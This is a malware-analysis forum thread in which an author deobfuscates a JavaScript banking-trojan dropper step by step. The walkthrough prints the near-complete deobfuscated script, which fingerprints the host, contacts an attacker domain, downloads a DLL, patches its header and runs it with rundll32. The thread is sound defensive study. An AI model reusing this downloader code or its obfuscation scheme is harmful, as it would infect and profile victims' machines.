Malware Analysis Deobfuscation of NotificacaoDetran.js (3/54) Oct,17 - Elaborate methods used - updated

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
From malware Vault (samples) :
https://malwaretips.com/threads/17-10-2016-17.64544/
Thanks to @Daniel Hidalgo

NotificacaoDetran.js


Why this sample ?

Because :

- it's the first time I will show this obfuscation method used,
- the deobfuscated script is "original" (I could say : "interesting")
=> a lot of stuff : string to hex, hex to string, xor, key, some important data for the decoding part, and with some encoded parts, are different at each first request, 2nd request for the payload, etc...)​
- 3/54 when posting

Antivirus scan for 822520d71b384491e518df7d7cf592d7cfac4e0a42a7895bd13d1b9d637635f0 at 2016-10-17 17:12:15 UTC - VirusTotal

PART 1 : first obfuscation analysis

1) What it looks like :


var XYGl1 = {
L1: "me",
N1: ".",
M1: "split",
m1: 0,
o1: 2,
n1: 1,
O1: "length",
J1: "crip",
K1: "tFullNa",
P1: "slice",
I1: "S"
};

XYGl1 = XYGl1;

var lauch = WScript[XYGl1.I1 + XYGl1.J1 + XYGl1.K1 + XYGl1.L1][XYGl1.M1](XYGl1.N1);

var hienken = lauch[lauch[XYGl1.O1] - XYGl1.n1];

decode(XYGl1.N1 + hienken[XYGl1.P1](XYGl1.m1, XYGl1.o1), '6&12&6&64&9&7&71&5&29&6&45&63&97&40&50&98&70&83&102&37&32&122&70&83&103&46&95&14&60&90&85&103&121&35&96&122&105&38&60&108&43&63&117&72&38&122&35&63&125&72&46&14&87&83&85&103&121&39&99&81&97&40&57&12&80&83&117&103&121&39&99&122&72&31&29
...
...

(Very long string.
We will see in part 2 that the file is read by the script itself when running, to retrieve a part of this obfuscated string to be used as a key on a Decode / XOR functions)


function decode(c, e) {
var H1 = "";
var G1 = "oin";
var F1 = "j";
var E1 = "de";
var D1 = "omCharCo";
var C1 = "fr";
var B1 = "gth";
var A1 = "n";
var z1 = "e";
var y1 = "l";
var x1 = "eA";
var w1 = "d";
var v1 = "charCo";
var u1 = "h";
var t1 = "lengt";
var s1 = "&";
var r1 = "t";
var q1 = "i";
var p1 = "spl";
var b = e[p1 + q1 + r1](s1);
for (var a = XYGl1.m1; a < b[t1 + u1]; a++) {

var d = b[a] ^ c[v1 + w1 + x1 + r1](a % c[y1 + z1 + A1 + B1]);
b[a] = String[C1 + D1 + E1](d);
}
eval(b[F1 + G1](H1)); => Here , the "real" part of the malware is run
}

2 ) Explanations :

XYGl1 :

several important parts are broken into an array of string with keys.
This array is used to build the important strings to be used​

- var lauch = WScript[XYGl1.I1 + XYGl1.J1 + XYGl1.K1 + XYGl1.L1][XYGl1.M1](XYGl1.N1);

[XYGl1.I1 + XYGl1.J1 + XYGl1.K1 + XYGl1.L1]​

=> ["S" + "crip" + "tFullNa" + "me"]
=> ["ScriptFullName"]​

[XYGl1.M1]​

=> ["split"]​

(XYGl1.N1)​

=> (".")​

=> var lauch = WScript["ScriptFullName"]["split"](".") than can be writen :

=> var lauch = WScript.ScriptFullName.split(".")

=> Tab of the "script currently running" at index 0, and the extension at index 1

example :

["c:\test\NoticicacaoDetran","js"]​

- var hienken = lauch[lauch[XYGl1.O1] - XYGl1.n1];

XYGl1.O1 => "length"
XYGl1.n1 => 1​

=> lauch[lauch[XYGl1.O1] - XYGl1.n1]
=> lauch[lauch.length - 1]

=> index of last value : extension of the script
Here :

var hienken : "js"​

- decode(XYGl1.N1 + hienken[XYGl1.P1](XYGl1.m1, XYGl1.o1), '6&12..........'​

parameter 1 : XYGl1.N1 + hienken[XYGl1.P1](XYGl1.m1, XYGl1.o1)

"." + extension.slice(0,2)

=> "." + 2 first chars of extension :
Here :

parameter 1 : ".js"

parameter 2 : Strange string with number and & => obfuscated real script

=> decode( ".js" , string to decode)
function decode(c, e) {
var H1 = "";
var G1 = "oin";
var F1 = "j";
var E1 = "de";
var D1 = "omCharCo";
var C1 = "fr";
var B1 = "gth";
var A1 = "n";
var z1 = "e";
var y1 = "l";
var x1 = "eA";
var w1 = "d";
var v1 = "charCo";
var u1 = "h";
var t1 = "lengt";
var s1 = "&";
var r1 = "t";
var q1 = "i";
var p1 = "spl";
var b = e[p1 + q1 + r1](s1);

=> b = string_to_decode.split("&")
=> b = tab of all each part that was on the string to decode, with & the char was the cut char
=> b : [6, 12, 6, 64, 9, 7, 71 .........]​

for (var a = XYGl1.m1; a < b[t1 + u1]; a++) {

=> Loop FOR : from index 0 to b.length -1
=> Loop on all parts of the Tab b

var d = b[a] ^ c[v1 + w1 + x1 + r1](a % c[y1 + z1 + A1 + B1]);

=> var d = b[current_index] XOR ".js'.CharCodeAt(current_index MODULO ".js".length)

=> each char of the extension will be use alternatively to make an XOR with each part of the tab with obfuscated content (one a a time)

example :

index : 0 => 6 XOR char code of "."
index : 1 => 12 XOR char code of "j"
index : 2 => 6 XOR char code of "s"
index : 3 => 64 XOR char code of "."
index : 4 => 9 XOR char code of "j"
etc,..​

b[a] = String[C1 + D1 + E1](d);

=> b[a] = String.fromCharCode(d);

=> char code to String => obfuscated strings are overwritten by real string (decoded)​

}
eval(b[F1 + G1](H1));

=> b[F1 + G1](H1) => b.join("")
=> the String with deobfuscated content is build​

=> eval => run the real malware part (evaluate a string => evaluate the content)​
}

3) The script deobfuscated :

3-1 ) Complete part :

I MODIFIED SOME PARTS TO AVOID COPY-PASTE => SAVE => RUN => INFECTED :p
(function(GLOBAL, HOST, ID, V){

GLOBAL["UTILS"] = {

"OBJ": [

function(){
return WScript.CreateObject(GLOBAL["UTILS"]["OBJ"][arguments[0]])
},
"MSXML2.XMLHTTP",
"ADODB.Stream",
"WScript.Network",
"WScript.Shell",
"Shell.Application",
"Scripting.FileSystemObject"​
],

"XOR": function(){

this["VAR"] = "";
for (i = 0; i < arguments[1].length; i++){

this["VAR"] += String.fromCharCode(arguments[1].charCodeAt(i)
^ arguments[0].
charCodeAt(Math.floor(i % arguments[0].length)));
}

return this["VAR"];
},

"PRE": function(){
this["VAR"] = "";
for(var i=0; i<arguments[0].length; i++)

this["VAR"] += arguments[0].charCodeAt(i).toString(16);

return this["VAR"];
},

"UNP": function(data){
var bytes = data.match(/[\s\S]{1,2}/g) || [];
var result = '';
for(var i=0; i< bytes.length; i++)

result += String.fromCharCode(parseInt(bytes, 16));

return result;
},

"STR": function(){
// constructor
var self = this;
this["VAR1"] = GLOBAL["UTILS"]["OBJ"][0](2);
return [

// write
function (data){
self["VAR1"].Type = 1;
self["VAR1"].
Open();
self["VAR1"].
Write(data);
self["VAR1"].
Position = 0;
},
// readAsText
function (pos, len){
len = len || -1;
pos = pos || 0;
self["VAR1"].
Type = 2;
self["VAR1"].
Charset = 'us-ascii';
self["VAR1"].
Position = pos;
return self["VAR1"].
ReadText(len);
},
// loadFile
function (file){
self["VAR1"].Type = 2;
self["VAR1"].
Charset = 'us-ascii';
self["VAR1"].
Open();
self["VAR1"].
LoadFromFile(file);
},
// saveFile
function(file){
self["VAR1"].Type = 2;
self["VAR1"].
Charset = "us-ascii";
self["VAR1"].
WriteText("MZP");
self["VAR1"].
Position = 0;
self["VAR1"].
SaveToFile(file, 1);
},
// close
function(){
self["VAR"].Close();
}
]
},

// http request
"REQ": function(){
this["VAR1"] = new GLOBAL["UTILS"]["STR"];
this["VAR2"] = GLOBAL["UTILS"]["OBJ"][0](1);
this["VAR2"].
Open('GET', arguments[0], false);
this["VAR2"].
Send();
if(this["VAR2"].
Status != 200)
return false;
this["VAR1"][0](this["VAR2"].ResponseBody);
return this["VAR1"];
},
//decode
"DEC": function(data){
var stream = new GLOBAL["UTILS"]["STR"];
var file = WSH.
ScriptFullName;
var pos =
parseInt(data.substr(0, 4), 16);
var len = data.
charCodeAt(4);
var data;
var key;
stream[2](file);
key = stream[1](pos, len);
data = data.
substr(5);
return GLOBAL["UTILS"]["XOR"](key, data);
},
"RUN": function(){

try {
GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["PRE"]([ID, V, GLOBAL["UTILS"]["OBJ"][0](3).ComputerName.toUpperCase(), GLOBAL["UTILS"]["OBJ"][0](4).RegRead("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\InstallDate")].join("|"));
GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["REQ"]([HOST, GLOBAL["UTILS"]["TMP"]].join("/?"));
if(GLOBAL["UTILS"]["TMP"] === false){

WSH.Quit();
}
GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["DEC"](GLOBAL["UTILS"]["TMP"][1]());
GLOBAL["UTILS"]["VAR1"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[0]);
GLOBAL["UTILS"]["VAR2"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[1]);
GLOBAL["UTILS"]["VAR3"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[2]);
GLOBAL["UTILS"]["VAR6"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[3]);

GLOBAL["UTILS"]["VAR4"] = GLOBAL["UTILS"]["OBJ"][0](5).Namespace(35).Self.Path + GLOBAL["UTILS"]["VAR2"];
GLOBAL["UTILS"]["VAR2"] = GLOBAL["UTILS"]["VAR4"].substr(0, GLOBAL["UTILS"]["VAR4"].
lastIndexOf("\\"));
GLOBAL["UTILS"]["VAR5"] = GLOBAL["UTILS"]["OBJ"][0](6);

if(GLOBAL["UTILS"]["VAR5"].
FolderExists(GLOBAL["UTILS"]["VAR2"]) != 0){
WSH.Quit();
}

GLOBAL["UTILS"]["VAR5"].
CreateFolder(GLOBAL["UTILS"]["VAR2"]);

GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["REQ"]([HOST, GLOBAL["UTILS"]["VAR1"]].join("/?"));

if(GLOBAL["UTILS"]["TMP"]){

GLOBAL["UTILS"]["TMP"][3](GLOBAL["UTILS"]["VAR4"]);
eval(GLOBAL["UTILS"]["VAR6"])
}

}catch(e){}
}
};

return GLOBAL;

})(this, "https ://meelertrevor.top", "152cfe7f55e346 40053e13b24f9bba", "0.3.33")["UTILS"]["RUN"]();

3-1 ) Main Function :

(function(GLOBAL, HOST, ID, V){
...
...
})(this, "https ://meelertrevor.top", "152cfe7f55e346 40053e13b24f9bba", "0.3.33")["UTILS"]["RUN"]();


Inside : objects / functions used to do the job :)

Exemples (look at the complete parts on spoiler above) :

// http request
// write
// readAsText
// loadFile
// saveFile
// close​

"OBJ": [
function(){
return WScript.CreateObject(GLOBAL["UTILS"]["OBJ"][arguments[0]])
},
"MSXML2.XMLHTTP",
"ADODB.Stream",
"WScript.Network",
"WScript.Shell",
"Shell.Application",
"Scripting.FileSystemObject"],

=> parts you already seen if your have followed my analysis :)

The main part inside :

"RUN": function(){

try {
...
...
...

}catch(e){}
}

This function contains the parts that are calling all other functions and building some important objects
For the moment, I post some info (can help to blacklist) :
(See the link to the part 2 at the end of this part 1)

to summarize :

- first request : https ://meelertrevor.top?[parameter] String to HEX encoded

=> the data received are put into a Stream :
=> one part gives info to retrieve a key from the NotificacaoDetran.js (obfuscated file version, not the one running, file name can change, it depends of the script name of the running script) :
=> this allows the other part of data in the stream to be used /decoded (data for the XOR part, position and lengh for the key, folder to be created, where to download the payload, etc,...)
=> not always the same data received and key used ! (a part of the obfuscated "parameters 2" string we have for the decode function in "1) What it looks like")
(but it gives the same decoded info, normal:) )
- Folder created C:\ProgramData\Docs-Themes\

- Payload downloaded (second download request) : Power_Usage.dll

- run : rundl32.exe is used with parameter #1 00001824
EDITED :

IMPORTANT :
The Folder and dll used have changed today (the first request encoded data give info to be used)
'C:\ProgramData\Photo_Types\Ctrl-Ext.dll'

EXPLANATION OF THE "REAL SCRIPT" PARTS :
In part 2 :

https://malwaretips.com/threads/deo...oct-17-2016-targeted-banks.64575/#post-555347
 
Last edited:
W

Wave

@DardiM Amazing post as usual, when I look at your profile I see a hallucinated badge saying "MVP Award" and "Best malware analyst 2016"! :)

I'm sure you'll tear down malware all the way through 2017 and 2018 too!

I wonder how many malware authors are annoyed over your expertise, reversing their JavaScript all the time and posting it publicly with explanations :D
 

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
@DardiM Amazing post as usual, when I look at your profile I see a hallucinated badge saying "MVP Award" and "Best malware analyst 2016"! :)

I'm sure you'll tear down malware all the way through 2017 and 2018 too!

I wonder how many malware authors are annoyed over your expertise, reversing their JavaScript all the time and posting it publicly with explanations :D
Thanks :oops: , I don't know what to reply :oops:
<3
 

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
Last edited:

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
First part updated, second part with details tomorrow (I had to make some dynamical works)
=> not possible to decode some important part in static analysis only, the way it is done :)
 
Last edited:

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
PART 2 : Explanation of the Script after first deobfuscation.

From today tests, The Folder and dll name used have changed

You can follow the explanation with this spoiler :

(function(GLOBAL, HOST, ID, V){

GLOBAL["UTILS"] = {


"OBJ": [

function(){

return WScript.CreateObject(GLOBAL["UTILS"]["OBJ"][arguments[0]])
},

"MSXML2.XMLHTTP",
"ADODB.Stream",
"WScript.Network",
"WScript.Shell",
"Shell.Application",
"Scripting.FileSystemObject"​
],

// XOR betwenn data encoded and a key
"XOR": function(){
this["VAR"] = "";

for (i = 0; i < arguments[1].length; i++){
this["VAR"] += String.fromCharCode(arguments[1].charCodeAt(i)
^ arguments[0].
charCodeAt(Math.floor(i % arguments[0].length)));
}

return this["VAR"];
},

// String to HEX
"PRE": function(){

this["VAR"] = "";

for(var i=0; i<arguments[0].length; i++)
this["VAR"] += arguments[0].charCodeAt(i).toString(16);

return this["VAR"];
},

// HEX to String
"UNP": function(data){
var bytes = data.match(/[\s\S]{1,2}/g) || [];
var result = '';
for(var i=0; i< bytes.length; i++)

result += String.fromCharCode(parseInt(bytes, 16));

return result;
},

// Stream Object
"STR": function(){
// constructor
var self = this;
this["VAR1"] = GLOBAL["UTILS"]["OBJ"][0](2);
return [

// write

function (data){
self["VAR1"].Type = 1;
self["VAR1"].
Open();
self["VAR1"].
Write(data);
self["VAR1"].
Position = 0;
},

// readAsText
function (pos, len){
len = len || -1;
pos = pos || 0;
self["VAR1"].
Type = 2;
self["VAR1"].
Charset = 'us-ascii';
self["VAR1"].
Position = pos;
return self["VAR1"].
ReadText(len);
},

// loadFile
function (file){
self["VAR1"].Type = 2;
self["VAR1"].
Charset = 'us-ascii';
self["VAR1"].
Open();
self["VAR1"].
LoadFromFile(file);
},

// saveFile
function(file){
self["VAR1"].Type = 2;
self["VAR1"].
Charset = "us-ascii";
self["VAR1"].
WriteText("MZP");
self["VAR1"].
Position = 0;
self["VAR1"].
SaveToFile(file, 1);
},

// close
function(){
self["VAR"].Close();
}
]

},
// http request
"REQ": function(){
this["VAR1"] = new GLOBAL["UTILS"]["STR"];

this["VAR2"] = GLOBAL["UTILS"]["OBJ"][0](1);
this["VAR2"].
Open('GET', arguments[0], false);
this["VAR2"].
Send();
if(this["VAR2"].
Status != 200)
return false;
this["VAR1"][0](this["VAR2"].ResponseBody);

return this["VAR1"];
},

//decode
"DEC": function(data){
var stream = new GLOBAL["UTILS"]["STR"];
var file = WSH.
ScriptFullName;
var pos =
parseInt(data.substr(0, 4), 16);
var len = data.
charCodeAt(4);
var data;
var key;
stream[2](file);
key = stream[1](pos, len);
data = data.
substr(5);
return GLOBAL["UTILS"]["XOR"](key, data);
},

"RUN": function(){
try {

GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["PRE"]([ID, V, GLOBAL["UTILS"]["OBJ"][0](3).ComputerName.toUpperCase(), GLOBAL["UTILS"]["OBJ"][0](4).RegRead("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\InstallDate")].join("|"));
GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["REQ"]([HOST, GLOBAL["UTILS"]["TMP"]].join("/?"));

if(GLOBAL["UTILS"]["TMP"] === false){
WSH.Quit();
}

GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["DEC"](GLOBAL["UTILS"]["TMP"][1]());
GLOBAL["UTILS"]["VAR1"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[0]);
GLOBAL["UTILS"]["VAR2"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[1]);
GLOBAL["UTILS"]["VAR3"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[2]);
GLOBAL["UTILS"]["VAR6"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[3]);

GLOBAL["UTILS"]["VAR4"] = GLOBAL["UTILS"]["OBJ"][0](5).Namespace(35).Self.Path + GLOBAL["UTILS"]["VAR2"];
GLOBAL["UTILS"]["VAR2"] = GLOBAL["UTILS"]["VAR4"].substr(0, GLOBAL["UTILS"]["VAR4"].
lastIndexOf("\\"));
GLOBAL["UTILS"]["VAR5"] = GLOBAL["UTILS"]["OBJ"][0](6);

if(GLOBAL["UTILS"]["VAR5"].
FolderExists(GLOBAL["UTILS"]["VAR2"]) != 0){
WSH.Quit();
}

GLOBAL["UTILS"]["VAR5"].
CreateFolder(GLOBAL["UTILS"]["VAR2"]);

GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["REQ"]([HOST, GLOBAL["UTILS"]["VAR1"]].join("/?"));

if(GLOBAL["UTILS"]["TMP"]){

GLOBAL["UTILS"]["TMP"][3](GLOBAL["UTILS"]["VAR4"]);
eval(GLOBAL["UTILS"]["VAR6"])
}


}catch(e){}
}
};

return GLOBAL;

})(this, "https ://meelertrevor.top", "152cfe7f55e346 40053e13b24f9bba", "0.3.33")["UTILS"]["RUN"]();

1) Explanation of methods uses to call functions :

All functions created specially for this "script part" are anonymous function.
Objects are created, and functions used are accessed in Array / Tab objects, by KEY word and/or index.

Example :

GLOBAL["UTILS"] = {

"OBJ": [

=> index 0 in GLOBAL["UTILS"]["OBJECT"](0)
function(){
return WScript.CreateObject(GLOBAL["UTILS"]["OBJ"][arguments[0]])
},

=> index 1 in GLOBAL["UTILS"]["OBJECT"] : GLOBAL["UTILS"]["OBJECT"](1)
"MSXML2.XMLHTTP",

=> index 2 in GLOBAL["UTILS"]["OBJECT"] : GLOBAL["UTILS"]["OBJECT"](2)
"ADODB.Stream",

=> index 3 in GLOBAL["UTILS"]["OBJECT"] : GLOBAL["UTILS"]["OBJECT"](3)
"WScript.Network",

=> index 4 in GLOBAL["UTILS"]["OBJECT"] : GLOBAL["UTILS"]["OBJECT"](4)
"WScript.Shell",

=> index 5 in GLOBAL["UTILS"]["OBJECT"] : GLOBAL["UTILS"]["OBJECT"](5)
"Shell.Application",

=> index 6 in GLOBAL["UTILS"]["OBJECT"] : GLOBAL["UTILS"]["OBJECT"](6)
"Scripting.FileSystemObject"
],​
...
...
}; => End of GLOBAL["UTILS"]

2) Firs anonymous function :

(function(GLOBAL, HOST, ID, V){
...
...

return GLOBAL;
})(this, "https ://meelertrevor.top", "152cfe7f55e346 40053e13b24f9bba", "0.3.33")["UTILS"]

["RUN"]();

- parameter 1 : this

=> script object
=> in the function become => GLOBAL
- parameter 2 : https ://meelertrevor.top

=> in the function become => HOST
=> URL used for requests
- parameter 3 : "152cfe7f55e346 40053e13b24f9bba"

=> ID (identifiant)
- parameter 4 : "0.3.33"

=> V (version)
This anonymous function return the GLOBAL object with all parts that will be used (all objects with functions)

Then :

GLOBAL["UTILS"]["RUN"]();

=> runs the main part :)

3) Let's see the RUN part :

I WILL USE DATA FOR EXAMPLES (THE ONES I GET FROM A TEST) : IT CHANGES AT EACH LAUNCH (some Strings and other data)

"RUN": function(){

try {

GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["PRE"]([ID, V, GLOBAL["UTILS"]["OBJ"][0](3).ComputerName.toUpperCase(), GLOBAL["UTILS"]["OBJ"][0](4).
RegRead("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\InstallDate")].join("|"));

  • Each part :
- GLOBAL["UTILS"]["TMP"] => equivalent to var TMP
Remember the object we have seen GLOBAL["UTILS"]["OBJECT"]
And the way to access to its content by index and a parameter

- GLOBAL["UTILS"]["OBJ"][0](3).ComputerName.toUpperCase()

=> 0 :

function(){
return WScript.CreateObject(GLOBAL["UTILS"]["OBJ"][arguments[0]])

=> argument[0] : 3​
},

=> WScript.CreateObject("WScript.Network")

=> object_Network.ComputerName.toUpperCase()

=> "DardiM-PC"
- GLOBAL["UTILS"]["OBJ"][0](4).RegRead("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\InstallDate")

=> 0 :
function(){
return WScript.CreateObject(GLOBAL["UTILS"]["OBJ"][arguments[0]])

=> argument[0] : 4
},

=> WScript.CreateObject("WScript.Network")

=> object_Network.regRead("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\InstallDate")

=> return 0
=> reg key doesn't exist
Conclusion :

[.....].join("|") : ID , V , ComputerName, regValue are Joined with "|"

=> "152cfe7f55e346eb40053e13b24f9bba|0.3.33|DARDIM-PC|0"

GLOBAL["UTILS"]["PRE"](
"152cfe7f55e346eb40053e13b24f9bba|0.3.33|DARDIM-PC|0")

"PRE" : function that encode String to HEX

=> "152cfe7f55e346eb40053e13b24f9bba|0.3.33|DARDIM-PC|0"

=> become :

"31353263666537663535653334366562343030353365313362323466396262617c302e332e33337c44415244494d2d50437c30"

1 =>31
5 => 35
2 => 32
c => 63
etc,..
=> the value that will be used in the first request is put in GLOBAL["UTILS"]["TMP"]

GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["REQ"]([HOST, GLOBAL["UTILS"]["TMP"]].join("/?"));

  • Each part :
- GLOBAL["UTILS"]["REQ"]([HOST, GLOBAL["UTILS"]["TMP"]].join("/?"))

=> ([HOST,GLOBAL["UTILS"]["TMP"]].join("/?")

=> join HOST and the "String to HEX" string seen above
=> "https ://meelertrevor.top?31353263666537663535653334366562343030353365313362323466396262617c302e332e33337c44617264694d2d50437c30"

=> "REQ" : function to make the request

"REQ": function(){
this["VAR1"] = new GLOBAL["UTILS"]["STR"];

=> new object STR (Stream) with its own anonymous function :

WScript.CreateObject("ADODB.Stream"),
this["VAR2"] = GLOBAL["UTILS"]["OBJ"][0](1);

=> object http : WScript.CreateObject("MSXML2.XMLHTTP")
this["VAR2"].Open('GET', arguments[0], false);

=> open the connection : URL seen above
this["VAR2"].Send();

=> send the request
if(this["VAR2"].Status != 200)

=> HTTP_OK ?

return false;
this["VAR1"][0](this["VAR2"].ResponseBody);

=> responseBody is put in a Stream (calling anonymous function 0 //write)

// write
function (data){
self["VAR1"].Type = 1;
self["VAR1"].Open();
self["VAR1"].Write(data); => responseBody
self["VAR1"].Position = 0;
},


return this["VAR1"];
},
result put in GLOBAL["UTILS"]["TMP"] : object Stream with anonymous functions
if(GLOBAL["UTILS"]["TMP"] === false){
=> object not exists ?
WSH.Quit();
}

GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["DEC"](GLOBAL["UTILS"]["TMP"][1]());

- GLOBAL["UTILS"]["DEC"](GLOBAL["UTILS"]["TMP"][1]());

- GLOBAL["UTILS"]["TMP"][1]

=> call of the anonymous function at index 1, with no parameters => len and pos are indefinite
// readAsText

function (pos, len){

len = len || -1;

=> -1
pos = pos || 0;
=> 0
self["VAR1"].Type = 2;
self["VAR1"].Charset = 'us-ascii';
self["VAR1"].Position = pos;

return self["VAR1"].ReadText(len);

=> len : -1 => Reads all bytes from the stream​
},

=> data
- GLOBAL["UTILS"]["DEC"](data)

=> this DEC function is used to decode the data received from first request and now on a Stream
"DEC": function(data){
var stream = new GLOBAL["UTILS"]["STR"];
=> new Stream
var file = WSH.ScriptFullName;
=> example : "C:\\Users\\DardiM\\Desktop\\test\\NotificacaoDetran.js";

var pos = parseInt(data.substr(0, 4), 16);
=> the postilion the read some data on the Script file
=> exemple : 12319

var len = data.charCodeAt(4);

=> the lenght to read on the Script file
=> example : 76

var data;
var key;

stream[2](file);
key = stream[1](pos, len);
// readAsText
function (pos, len){
len = len || -1;
pos = pos || 0;
self["VAR1"].Type = 2;
self["VAR1"].Charset = 'us-ascii';
self["VAR1"].Position = pos;
return self["VAR1"].ReadText(len);
},

=> example for key (change at each launch) :

"&43&63&117&72&38&122&35&63&125&72&46&117&72&37&111&56&71&12&55&83&19&74&52&9"

=> a part of the parameter 2, obfuscated real content, that we have seen with decode function (see "1) What it looks like" from PART 1 )

data = data.substr(5);
return GLOBAL["UTILS"]["XOR"](key, data);

=> XOR function used to decode the data with the key

"XOR": function(){
this["VAR"] = "";
for (i = 0; i < arguments[1].length; i++){
this["VAR"] += String.fromCharCode(arguments[1].charCodeAt(i)
^ arguments[0].charCodeAt(Math.floor(i % arguments[0].length)));
}

return this["VAR"];
},

=> here, data decoded​
},
=> "35633435353262303332666561323430643161623230393834653633626434643563323234353365|5c50686f746f5f54797065735c4374726c2d4578742e646c6c|3030303031383234|474c4f42414c5b275554494c53275d5b274f424a275d5b305d2834292e72756e282772756e646c6c33322020272b20474c4f42414c5b275554494c53275d5b2756415234275d202b20272c23312027202b20474c4f42414c5b275554494c53275d5b2756415233275d29"
If you look in this string, you can see several parts separated by "|" :
The function below, "UNP" (HEX to String), is used on each part to decode it again.

GLOBAL["UTILS"]["VAR1"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[0]);

=> "35633435353262303332666561323430643161623230393834653633626434643563323234353365"
=> 5c4552b032fea240d1ab20984e63bd4d5c22453e
=> HEX to String
=> "35" => "5"
=> "63" => "c"
etc,...

GLOBAL["UTILS"]["VAR2"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[1]);

=> "5c50686f746f5f54797065735c4374726c2d4578742e646c6c"
=> "\Photo_Types\Ctrl-Ext.dll"
=> folder and payload to be used


GLOBAL["UTILS"]["VAR3"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[2]);

=> "3030303031383234"
=> "00001824" => parameter part to rundll32.exe call

GLOBAL["UTILS"]["VAR6"] = GLOBAL["UTILS"]["UNP"](GLOBAL["UTILS"]["TMP"].split("|")[3]);

=> "474c4f42414c5b275554494c53275d5b274f424a275d5b305d2834292e72756e282772756e646c6c33322020272b20474c4f42414c5b275554494c53275d5b2756415234275d202b20272c23312027202b20474c4f42414c5b275554494c53275d5b2756415233275d29"
=> "GLOBAL['UTILS']['OBJ'][0](4).run('rundll32 '+ GLOBAL['UTILS']['VAR4'] + ',#1 ' + GLOBAL['UTILS']['VAR3'])"
=> part that will be evaluated (run) at the end of the script, if all is ok

GLOBAL["UTILS"]["VAR4"] = GLOBAL["UTILS"]["OBJ"][0](5).
Namespace(35).Self.Path + GLOBAL["UTILS"]["VAR2"];
=> object "Shell.Application" use the get the first part of path
=> "C:\\ProgramData\\Photo_Types\\Ctrl-Ext.dll"
=> Payload to be used


GLOBAL["UTILS"]["VAR2"] = GLOBAL["UTILS"]["VAR4"].
substr(0, GLOBAL["UTILS"]["VAR4"].lastIndexOf("\\"));
"C:\\ProgramData\\Photo_Types"
=> complete path of the folder to be created


GLOBAL["UTILS"]["VAR5"] = GLOBAL["UTILS"]["OBJ"][0](6);

=> object created : 'Scripting.FileSystemObject"

if(GLOBAL["UTILS"]["VAR5"].
FolderExists(GLOBAL["UTILS"]["VAR2"]) != 0){
=> test if the folder already exist
WSH.Quit();
}

GLOBAL["UTILS"]["VAR5"].CreateFolder(GLOBAL["UTILS"]["VAR2"]);

=> creates the folder

GLOBAL["UTILS"]["TMP"] = GLOBAL["UTILS"]["REQ"]([HOST, GLOBAL["UTILS"]["VAR1"]].join("/?"));

=> requests the payload
"https ://meelertrevor.top/?5c4552b032fea240d1ab20984e63bd4d5c22453e"

if(GLOBAL["UTILS"]["TMP"]){
=> if ok

GLOBAL["UTILS"]["TMP"][3](GLOBAL["UTILS"]["VAR4"]);
=> call the anonymous function at index 3
// saveFile
function(file){
self["VAR1"].Type = 2;
self["VAR1"].Charset = "us-ascii";
self["VAR1"].WriteText("MZP");
self["VAR1"].Position = 0;
self["VAR1"].SaveToFile(file, 1);
},
=> save the file after have put the header MZP (MZ : executable files : exe, dll)


eval(GLOBAL["UTILS"]["VAR6"])

=> run : rundll32.exe dll_path,#1 parameter
}
}catch(e){}}};


Conclusion of Part 1 & 2 :

Each time you launch the script, the data received after the first request are always differents, but the key read using the same script file on the HD is also different.

The work is done a way you have to do the requests in real to be able to decrypt the important info, (and the second request if you want the dll downloaded, to analyze it :p )

The dll is downloaded without a valid header, that is put locally by the script.

Yesterday it was other Folder and Payload names than today :D
 
Last edited:

About us

  • MalwareTips is a community-driven platform providing the latest information and resources on malware and cyber threats. Our team of experienced professionals and passionate volunteers work to keep the internet safe and secure. We provide accurate, up-to-date information and strive to build a strong and supportive community dedicated to cybersecurity.

User Menu

Follow us

Follow us on Facebook or Twitter to know first about the latest cybersecurity incidents and malware threats.

Top